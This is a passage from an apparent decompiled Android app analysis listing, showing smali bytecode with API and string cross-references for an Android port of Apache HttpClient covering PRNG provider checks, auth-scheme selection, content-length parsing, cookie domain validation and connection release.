        12invoke-static {v0}, Ljava/security/Security;->getProviders(Ljava/lang/String;)[Ljava/security/Provider;
        13move-result-object v0
        14const/4 v1, 0x1
        15if-eqz v0, :cond_22
        16array-length v2, v0
        17if-lt v2, v1, :cond_22
        18const-class v2, Lcz/msebera/android/httpclient/extras/PRNGFixes$LinuxPRNGSecureRandomProvider;
        19const/4 v3, 0x0
        20aget-object v0, v0, v3
        22invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
        23move-result-object v0
        25invoke-virtual {v2, v0}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
        26move-result v0
        27if-nez v0, :cond_2a
        28cond_22: new-instance v0, Lcz/msebera/android/httpclient/extras/PRNGFixes$LinuxPRNGSecureRandomProvider;
        30invoke-direct {v0}, Lcz/msebera/android/httpclient/extras/PRNGFixes$LinuxPRNGSecureRandomProvider;-><init>()V
        32invoke-static {v0, v1}, Ljava/security/Security;->insertProviderAt(Ljava/security/Provider;I)I
        33cond_2a: new-instance v0, Ljava/security/SecureRandom;
        35invoke-direct {v0}, Ljava/security/SecureRandom;-><init>()V
        36const-class v1, Lcz/msebera/android/httpclient/extras/PRNGFixes$LinuxPRNGSecureRandomProvider;
        38invoke-virtual {v0}, Ljava/security/SecureRandom;->getProvider()Ljava/security/Provider;
        39move-result-object v2
        41invoke-virtual {v2}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
        42move-result-object v2
        44invoke-virtual {v1, v2}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
        45move-result v1
        46if-eqz v1, :cond_7e
        47try_start_3f:
        48const-string v0, "SHA1PRNG"
        50invoke-static {v0}, Ljava/security/SecureRandom;->getInstance(Ljava/lang/String;)Ljava/security/SecureRandom;
        51move-result-object v0
        52try_end_45: const-class v1, Lcz/msebera/android/httpclient/extras/PRNGFixes$LinuxPRNGSecureRandomProvider;
        54invoke-virtual {v0}, Ljava/security/SecureRandom;->getProvider()Ljava/security/Provider;
        55move-result-object v2
        57invoke-virtual {v2}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
        58move-result-object v2
        60invoke-virtual {v1, v2}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
        61move-result v1
        62if-eqz v1, :cond_56
        63return-void
        64cond_56: new-instance v1, Ljava/lang/SecurityException;
        65new-instance v2, Ljava/lang/StringBuilder;
        67invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
        69const-string v3, "SecureRandom.getInstance(\"SHA1PRNG\") backed by wrong Provider: "
        71invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        73invoke-virtual {v0}, Ljava/security/SecureRandom;->getProvider()Ljava/security/Provider;
        74move-result-object v0
        76invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
        77move-result-object v0
        79invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        81invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        82move-result-object v0
        84invoke-direct {v1, v0}, Ljava/lang/SecurityException;-><init>(Ljava/lang/String;)V
        85throw v1
        86catch_75: move-exception v0
        87new-instance v1, Ljava/lang/SecurityException;
        89const-string v2, "SHA1PRNG not available"
        91invoke-direct {v1, v2, v0}, Ljava/lang/SecurityException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
        92throw v1
        93cond_7e: new-instance v1, Ljava/lang/SecurityException;
        94new-instance v2, Ljava/lang/StringBuilder;
        96invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
        98const-string v3, "new SecureRandom() backed by wrong Provider: "
        100invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        102invoke-virtual {v0}, Ljava/security/SecureRandom;->getProvider()Ljava/security/Provider;
        103move-result-object v0
        105invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
        106move-result-object v0
        108invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        110invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        111move-result-object v0
        113invoke-direct {v1, v0}, Ljava/lang/SecurityException;-><init>(Ljava/lang/String;)V
        114throw v1
        Cross References
        APIs
        • java.util.LinkedList.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.util.Collection.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        • java.lang.String.toLowerCase
        • java.util.Map.get
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.util.Queue.add
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • Map of auth challenges
        • Host
        • HTTP response
        • HTTP context
        • Auth scheme registry not set in the context
        • Credentials provider not set in the context
        • Authentication schemes in the order of preference:
        • Authentication scheme
        • not supported
        • Challenge for
        • authentication scheme not available
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Signature;
        1value = {
        2"(",
        3"Ljava/util/Map<",
        4"Ljava/lang/String;",
        5"Lcz/msebera/android/httpclient/Header;",
        6">;",
        7"Lcz/msebera/android/httpclient/HttpHost;",
        8"Lcz/msebera/android/httpclient/HttpResponse;",
        9"Lcz/msebera/android/httpclient/protocol/HttpContext;",
        10")",
        11"Ljava/util/Queue<",
        12"Lcz/msebera/android/httpclient/auth/AuthOption;",
        13">;"
        14}
        15.end annotation
        16.annotation system Ldalvik/annotation/Throws;
        17value = {
        18Lcz/msebera/android/httpclient/auth/MalformedChallengeException;
        19}
        20.end annotation
        22const-string v0, "Map of auth challenges"
        24invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        26const-string v0, "Host"
        28invoke-static {p2, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        30const-string v0, "HTTP response"
        32invoke-static {p3, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        34const-string p3, "HTTP context"
        36invoke-static {p4, p3}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        38invoke-static {p4}, Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;->adapt(Lcz/msebera/android/httpclient/protocol/HttpContext;)Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;
        39move-result-object p3
        40new-instance v0, Ljava/util/LinkedList;
        42invoke-direct {v0}, Ljava/util/LinkedList;-><init>()V
        44invoke-virtual {p3}, Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;->getAuthSchemeRegistry()Lcz/msebera/android/httpclient/config/Lookup;
        45move-result-object v1
        46if-nez v1, :cond_2b
        48iget-object p1, p0, Lcz/msebera/android/httpclient/impl/client/AuthenticationStrategyImpl;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        50const-string p2, "Auth scheme registry not set in the context"
        52invoke-virtual {p1, p2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        53return-object v0
        54cond_2b:
        55invoke-virtual {p3}, Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;->getCredentialsProvider()Lcz/msebera/android/httpclient/client/CredentialsProvider;
        56move-result-object v2
        57if-nez v2, :cond_39
        59iget-object p1, p0, Lcz/msebera/android/httpclient/impl/client/AuthenticationStrategyImpl;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        61const-string p2, "Credentials provider not set in the context"
        63invoke-virtual {p1, p2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        64return-object v0
        65cond_39:
        66invoke-virtual {p3}, Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;->getRequestConfig()Lcz/msebera/android/httpclient/client/config/RequestConfig;
        67move-result-object p3
        69invoke-virtual {p0, p3}, Lcz/msebera/android/httpclient/impl/client/AuthenticationStrategyImpl;->getPreferredAuthSchemes(Lcz/msebera/android/httpclient/client/config/RequestConfig;)Ljava/util/Collection;
        70move-result-object p3
        71if-nez p3, :cond_45
        73sget-object p3, Lcz/msebera/android/httpclient/impl/client/AuthenticationStrategyImpl;->DEFAULT_SCHEME_PRIORITY:Ljava/util/List;
        74cond_45:
        75iget-object v3, p0, Lcz/msebera/android/httpclient/impl/client/AuthenticationStrategyImpl;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        77invoke-virtual {v3}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        78move-result v3
        79if-eqz v3, :cond_63
        81iget-object v3, p0, Lcz/msebera/android/httpclient/impl/client/AuthenticationStrategyImpl;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        82new-instance v4, Ljava/lang/StringBuilder;
        84invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
        86const-string v5, "Authentication schemes in the order of preference: "
        88invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        90invoke-virtual {v4, p3}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        92invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        93move-result-object v4
        95invoke-virtual {v3, v4}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        96cond_63:
        97invoke-interface {p3}, Ljava/util/Collection;->iterator()Ljava/util/Iterator;
        98move-result-object p3
        99goto_67:
        100invoke-interface {p3}, Ljava/util/Iterator;->hasNext()Z
        101move-result v3
        102if-eqz v3, :cond_fd
        104invoke-interface {p3}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        105move-result-object v3
        106check-cast v3, Ljava/lang/String;
        108sget-object v4, Ljava/util/Locale;->ENGLISH:Ljava/util/Locale;
        110invoke-virtual {v3, v4}, Ljava/lang/String;->toLowerCase(Ljava/util/Locale;)Ljava/lang/String;
        111move-result-object v4
        113invoke-interface {p1, v4}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
        114move-result-object v4
        115check-cast v4, Lcz/msebera/android/httpclient/Header;
        116if-eqz v4, :cond_d8
        118invoke-interface {v1, v3}, Lcz/msebera/android/httpclient/config/Lookup;->lookup(Ljava/lang/String;)Ljava/lang/Object;
        119move-result-object v5
        120check-cast v5, Lcz/msebera/android/httpclient/auth/AuthSchemeProvider;
        121if-nez v5, :cond_ad
        123iget-object v4, p0, Lcz/msebera/android/httpclient/impl/client/AuthenticationStrategyImpl;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        125invoke-virtual {v4}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isWarnEnabled()Z
        126move-result v4
        127if-eqz v4, :cond_67
        129iget-object v4, p0, Lcz/msebera/android/httpclient/impl/client/AuthenticationStrategyImpl;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        130new-instance v5, Ljava/lang/StringBuilder;
        132invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
        134const-string v6, "Authentication scheme "
        136invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        138invoke-virtual {v5, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        140const-string v3, " not supported"
        142invoke-virtual {v5, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        144invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        145move-result-object v3
        147invoke-virtual {v4, v3}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->warn(Ljava/lang/Object;)V
        148goto/16 :goto_67
        149cond_ad:
        150invoke-interface {v5, p4}, Lcz/msebera/android/httpclient/auth/AuthSchemeProvider;->create(Lcz/msebera/android/httpclient/protocol/HttpContext;)Lcz/msebera/android/httpclient/auth/AuthScheme;
        151move-result-object v3
        153invoke-interface {v3, v4}, Lcz/msebera/android/httpclient/auth/AuthScheme;->processChallenge(Lcz/msebera/android/httpclient/Header;)V
        154new-instance v4, Lcz/msebera/android/httpclient/auth/AuthScope;
        156invoke-virtual {p2}, Lcz/msebera/android/httpclient/HttpHost;->getHostName()Ljava/lang/String;
        157move-result-object v5
        159invoke-virtual {p2}, Lcz/msebera/android/httpclient/HttpHost;->getPort()I
        160move-result v6
        162invoke-interface {v3}, Lcz/msebera/android/httpclient/auth/AuthScheme;->getRealm()Ljava/lang/String;
        163move-result-object v7
        165invoke-interface {v3}, Lcz/msebera/android/httpclient/auth/AuthScheme;->getSchemeName()Ljava/lang/String;
        166move-result-object v8
        168invoke-direct {v4, v5, v6, v7, v8}, Lcz/msebera/android/httpclient/auth/AuthScope;-><init>(Ljava/lang/String;ILjava/lang/String;Ljava/lang/String;)V
        170invoke-interface {v2, v4}, Lcz/msebera/android/httpclient/client/CredentialsProvider;->getCredentials(Lcz/msebera/android/httpclient/auth/AuthScope;)Lcz/msebera/android/httpclient/auth/Credentials;
        171move-result-object v4
        172if-eqz v4, :cond_67
        173new-instance v5, Lcz/msebera/android/httpclient/auth/AuthOption;
        175invoke-direct {v5, v3, v4}, Lcz/msebera/android/httpclient/auth/AuthOption;-><init>(Lcz/msebera/android/httpclient/auth/AuthScheme;Lcz/msebera/android/httpclient/auth/Credentials;)V
        177invoke-interface {v0, v5}, Ljava/util/Queue;->add(Ljava/lang/Object;)Z
        178goto/16 :goto_67
        179cond_d8:
        180iget-object v4, p0, Lcz/msebera/android/httpclient/impl/client/AuthenticationStrategyImpl;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        182invoke-virtual {v4}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        183move-result v4
        184if-eqz v4, :cond_67
        186iget-object v4, p0, Lcz/msebera/android/httpclient/impl/client/AuthenticationStrategyImpl;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        187new-instance v5, Ljava/lang/StringBuilder;
        189invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
        191const-string v6, "Challenge for "
        193invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        195invoke-virtual {v5, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        197const-string v3, " authentication scheme not available"
        199invoke-virtual {v5, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        201invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        202move-result-object v3
        204invoke-virtual {v4, v3}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        205goto/16 :goto_67
        206cond_fd: return-object v0
        APIs
        • java.lang.String.equalsIgnoreCase
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.ProtocolException.<init>
        • java.lang.String.equalsIgnoreCase
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.ProtocolException.<init>
        • java.lang.Long.parseLong
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.ProtocolException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.ProtocolException.<init>
        Strings
        • HTTP message
        • Transfer-Encoding
        • chunked
        • Chunked transfer encoding not allowed for
        • identity
        • Unsupported transfer encoding:
        • Content-Length
        • Negative content length:
        • Invalid content length:
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/HttpException;
        3}
        4.end annotation
        6const-string v0, "HTTP message"
        8invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        10const-string v0, "Transfer-Encoding"
        12invoke-interface {p1, v0}, Lcz/msebera/android/httpclient/HttpMessage;->getFirstHeader(Ljava/lang/String;)Lcz/msebera/android/httpclient/Header;
        13move-result-object v0
        14if-eqz v0, :cond_65
        16invoke-interface {v0}, Lcz/msebera/android/httpclient/Header;->getValue()Ljava/lang/String;
        17move-result-object v0
        19const-string v1, "chunked"
        21invoke-virtual {v1, v0}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
        22move-result v1
        23if-eqz v1, :cond_43
        25invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpMessage;->getProtocolVersion()Lcz/msebera/android/httpclient/ProtocolVersion;
        26move-result-object v0
        28sget-object v1, Lcz/msebera/android/httpclient/HttpVersion;->HTTP_1_0:Lcz/msebera/android/httpclient/HttpVersion;
        30invoke-virtual {v0, v1}, Lcz/msebera/android/httpclient/ProtocolVersion;->lessEquals(Lcz/msebera/android/httpclient/ProtocolVersion;)Z
        31move-result v0
        32if-nez v0, :cond_28
        33const-wide/16 v0, -0x2
        34return-wide v0
        35cond_28: new-instance v0, Lcz/msebera/android/httpclient/ProtocolException;
        36new-instance v1, Ljava/lang/StringBuilder;
        38invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
        40const-string v2, "Chunked transfer encoding not allowed for "
        42invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        44invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpMessage;->getProtocolVersion()Lcz/msebera/android/httpclient/ProtocolVersion;
        45move-result-object p1
        47invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        49invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        50move-result-object p1
        52invoke-direct {v0, p1}, Lcz/msebera/android/httpclient/ProtocolException;-><init>(Ljava/lang/String;)V
        53throw v0
        54cond_43:
        55const-string p1, "identity"
        57invoke-virtual {p1, v0}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
        58move-result p1
        59if-eqz p1, :cond_4e
        60const-wide/16 v0, -0x1
        61return-wide v0
        62cond_4e: new-instance p1, Lcz/msebera/android/httpclient/ProtocolException;
        63new-instance v1, Ljava/lang/StringBuilder;
        65invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
        67const-string v2, "Unsupported transfer encoding: "
        69invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        71invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        73invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        74move-result-object v0
        76invoke-direct {p1, v0}, Lcz/msebera/android/httpclient/ProtocolException;-><init>(Ljava/lang/String;)V
        77throw p1
        78cond_65:
        79const-string v0, "Content-Length"
        81invoke-interface {p1, v0}, Lcz/msebera/android/httpclient/HttpMessage;->getFirstHeader(Ljava/lang/String;)Lcz/msebera/android/httpclient/Header;
        82move-result-object p1
        83if-eqz p1, :cond_aa
        85invoke-interface {p1}, Lcz/msebera/android/httpclient/Header;->getValue()Ljava/lang/String;
        86move-result-object p1
        87try_start_71:
        88invoke-static {p1}, Ljava/lang/Long;->parseLong(Ljava/lang/String;)J
        89move-result-wide v0
        90const-wide/16 v2, 0x0
        91cmp-long v4, v0, v2
        92if-ltz v4, :cond_7c
        93return-wide v0
        94cond_7c: new-instance v0, Lcz/msebera/android/httpclient/ProtocolException;
        95new-instance v1, Ljava/lang/StringBuilder;
        97invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
        99const-string v2, "Negative content length: "
        101invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        103invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        105invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        106move-result-object v1
        108invoke-direct {v0, v1}, Lcz/msebera/android/httpclient/ProtocolException;-><init>(Ljava/lang/String;)V
        109throw v0
        110catch_93: new-instance v0, Lcz/msebera/android/httpclient/ProtocolException;
        111new-instance v1, Ljava/lang/StringBuilder;
        113invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
        115const-string v2, "Invalid content length: "
        117invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        119invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        121invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        122move-result-object p1
        124invoke-direct {v0, p1}, Lcz/msebera/android/httpclient/ProtocolException;-><init>(Ljava/lang/String;)V
        125throw v0
        126cond_aa: iget p1, p0, Lcz/msebera/android/httpclient/impl/entity/StrictContentLengthStrategy;->implicitLen:I
        127int-to-long v0, p1
        128return-wide v0
        Cross References
        APIs
        • java.lang.String.contains
        • java.lang.String.endsWith
        • java.lang.String.startsWith
        • java.lang.String.length
        • java.lang.String.substring
        • java.lang.String.equals
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.cookie.CookieRestrictionViolationException.<init>
        • java.lang.String.equals
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.cookie.CookieRestrictionViolationException.<init>
        Strings
        • Cookie
        • Cookie origin
        • .
        • Illegal domain attribute \"
        • \". Domain of origin: \"
        • \"
        • Cookie domain may not be null
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/cookie/MalformedCookieException;
        3}
        4.end annotation
        6const-string v0, "Cookie"
        8invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        10const-string v0, "Cookie origin"
        12invoke-static {p2, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        14invoke-virtual {p2}, Lcz/msebera/android/httpclient/cookie/CookieOrigin;->getHost()Ljava/lang/String;
        15move-result-object p2
        17invoke-interface {p1}, Lcz/msebera/android/httpclient/cookie/Cookie;->getDomain()Ljava/lang/String;
        18move-result-object p1
        19if-eqz p1, :cond_89
        21const-string v0, "."
        23invoke-virtual {p2, v0}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
        24move-result v0
        25if-eqz v0, :cond_5e
        27invoke-virtual {p2, p1}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
        28move-result v0
        29if-nez v0, :cond_64
        31const-string v0, "."
        33invoke-virtual {p1, v0}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
        34move-result v0
        35if-eqz v0, :cond_33
        36const/4 v0, 0x1
        38invoke-virtual {p1}, Ljava/lang/String;->length()I
        39move-result v1
        41invoke-virtual {p1, v0, v1}, Ljava/lang/String;->substring(II)Ljava/lang/String;
        42move-result-object p1
        43cond_33:
        44invoke-virtual {p2, p1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
        45move-result v0
        46if-eqz v0, :cond_3a
        47goto/16 :goto_64
        48cond_3a: new-instance v0, Lcz/msebera/android/httpclient/cookie/CookieRestrictionViolationException;
        49new-instance v1, Ljava/lang/StringBuilder;
        51invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
        53const-string v2, "Illegal domain attribute \""
        55invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        57invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        59const-string p1, "\". Domain of origin: \""
        61invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        63invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        65const-string p1, "\""
        67invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        69invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        70move-result-object p1
        72invoke-direct {v0, p1}, Lcz/msebera/android/httpclient/cookie/CookieRestrictionViolationException;-><init>(Ljava/lang/String;)V
        73throw v0
        74cond_5e:
        75invoke-virtual {p2, p1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
        76move-result v0
        77if-eqz v0, :cond_65
        78goto_64: return-void
        79cond_65: new-instance v0, Lcz/msebera/android/httpclient/cookie/CookieRestrictionViolationException;
        80new-instance v1, Ljava/lang/StringBuilder;
        82invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
        84const-string v2, "Illegal domain attribute \""
        86invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        88invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        90const-string p1, "\". Domain of origin: \""
        92invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        94invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        96const-string p1, "\""
        98invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        100invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        101move-result-object p1
        103invoke-direct {v0, p1}, Lcz/msebera/android/httpclient/cookie/CookieRestrictionViolationException;-><init>(Ljava/lang/String;)V
        104throw v0
        105cond_89: new-instance p1, Lcz/msebera/android/httpclient/cookie/CookieRestrictionViolationException;
        107const-string p2, "Cookie domain may not be null"
        109invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/cookie/CookieRestrictionViolationException;-><init>(Ljava/lang/String;)V
        110throw p1
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.util.concurrent.TimeUnit.toMillis
        • java.lang.Double.isNaN
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • Managed connection
        • for
        • seconds
        • indefinitely
        • Connection
        • can be kept alive
        • Connection released:
        Position Instruction Meta Information
        1const-string v0, "Managed connection"
        3invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        4monitor-enter p1
        5try_start_6:
        6invoke-static {p1}, Lcz/msebera/android/httpclient/impl/conn/CPoolProxy;->detach(Lcz/msebera/android/httpclient/HttpClientConnection;)Lcz/msebera/android/httpclient/impl/conn/CPoolEntry;
        7move-result-object v0
        8if-nez v0, :cond_e
        9monitor-exit p1
        10return-void
        11cond_e:
        12invoke-virtual {v0}, Lcz/msebera/android/httpclient/impl/conn/CPoolEntry;->getConnection()Ljava/lang/Object;
        13move-result-object v1
        14check-cast v1, Lcz/msebera/android/httpclient/conn/ManagedHttpClientConnection;
        15try_end_14: const/4 v2, 0x1
        16const/4 v3, 0x0
        17try_start_16:
        18invoke-interface {v1}, Lcz/msebera/android/httpclient/conn/ManagedHttpClientConnection;->isOpen()Z
        19move-result v4
        20if-eqz v4, :cond_7e
        21if-eqz p5, :cond_1f
        22goto/16 :goto_21
        23cond_1f:
        24sget-object p5, Ljava/util/concurrent/TimeUnit;->MILLISECONDS:Ljava/util/concurrent/TimeUnit;
        25goto_21:
        26invoke-virtual {v0, p2}, Lcz/msebera/android/httpclient/impl/conn/CPoolEntry;->setState(Ljava/lang/Object;)V
        28invoke-virtual {v0, p3, p4, p5}, Lcz/msebera/android/httpclient/impl/conn/CPoolEntry;->updateExpiry(JLjava/util/concurrent/TimeUnit;)V
        30iget-object p2, p0, Lcz/msebera/android/httpclient/impl/conn/PoolingHttpClientConnectionManager;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        32invoke-virtual {p2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        33move-result p2
        34if-eqz p2, :cond_7e
        35const-wide/16 v4, 0x0
        36cmp-long p2, p3, v4
        37if-lez p2, :cond_5a
        38new-instance p2, Ljava/lang/StringBuilder;
        40invoke-direct {p2}, Ljava/lang/StringBuilder;-><init>()V
        42const-string v4, "for "
